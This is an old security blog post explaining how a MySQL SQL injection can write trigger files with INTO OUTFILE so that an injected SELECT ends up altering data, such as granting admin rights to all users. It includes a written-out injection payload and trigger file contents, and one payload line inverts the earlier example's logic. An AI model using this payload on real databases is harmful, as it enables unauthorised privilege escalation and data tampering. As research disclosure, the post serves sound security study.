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Wednesday, April 21, 2010, 12:38

MySQL Stacked Queries with SQL Injection...sort of

Security experts know that is possible to inject stacked queries on Microsoft SQL Server, when dealing with SQL Injections but not on other DBMS.

In the next few lines we'll describe a new technique that could allow an attacker to insert or update data also when there is a SQL Injection on select queries.
The most known attack also implemented on SQLMap is the takeover technique when the MySQL user has File Privileges and the DBMS is on the same server of the exposed web application.
What to do when the DBMS host is on a different server?

Something can be done by abusing Triggers.
MySQL supports Triggers since 5.0.2.
In MySQL, Triggers are wrote as a separate file on the same directory of the Database data dir.
It needs two files:

• /mysql/datadir/DB/TableName.TRG
• /mysql/datadir/DB/TriggerName.TRN

Suppose now that a `user` table exists on users DB.
So run mysql client and create the following trigger:

mysql> delimiter //
mysql> CREATE trigger atk after insert on user for each row
-> begin
-> update user set isadmin=1 where isadmin=0;
-> end//
mysql> delimiter ;

We can see that two files were created in data directory of users DB:
/var/lib/mysql/users/atk.TRN

TYPE=TRIGGERNAME
trigger_table=user

and /var/lib/mysql/users/user.TRG

TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` trigger atk after insert on user for each row\nbegin\nupdate user set isadmin=1 where isadmin=0;\nend'
sql_modes=0
definers='root@localhost'
client_cs_names='latin1'
connection_cl_names='latin1_swedish_ci'
db_cl_names='latin1_swedish_ci'

What happens if we successfully write user.TRG and atk.TRN in /var/lib/mysql/users/users.TRG using INTO OUTFILE ?

AND 1=0 union select 'TYPE=TRIGGERS' into outfile
'/var/lib/mysql/users/user.TRG' LINES TERMINATED BY '\\ntriggers=\'CREATE
DEFINER=`root`@`localhost` trigger atk after insert on user for each row\\nbegin
\\nupdate user set isadmin=0 where
isadmin=1;\\nend\'sql_modes=0\ndefiners=\'root@localhost\'\nclient_cs_names=\'l
atin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'latin1_swedi
sh_ci\'\n';

Then do the same to create atk.TRN

TYPE=TRIGGERNAME
trigger_table=user

MySQL will check if a TRG extension is present and will execute the trigger.
So, in this scenery, after a user registration every user will be an admin... and Stored Xss like Frame Injection could be accomplished as well.
Also some privilege escalation could probably be done since the DEFINER keyword says to MySQL the user on behalf the trigger should be executed.

Another interesting thing about this attack is that we can try fuzzing

• tabname.MYD
• tabname.MYI
• tabname.frm

and of course

• tabname.TRG
• triggername.TRN

file format and try to exploit the file format parsers.
I found some crash on TRG which doesn't seem to be exploitable, but who knows..further research could result in exploitable parser errors on those file formats.

Comments:

kuza55, Thursday, April 22, 2010, 02:45

Sadly INTO OUTFILE is pretty much dead, I haven't seen a box with it enabled for years due to the default off state...

 

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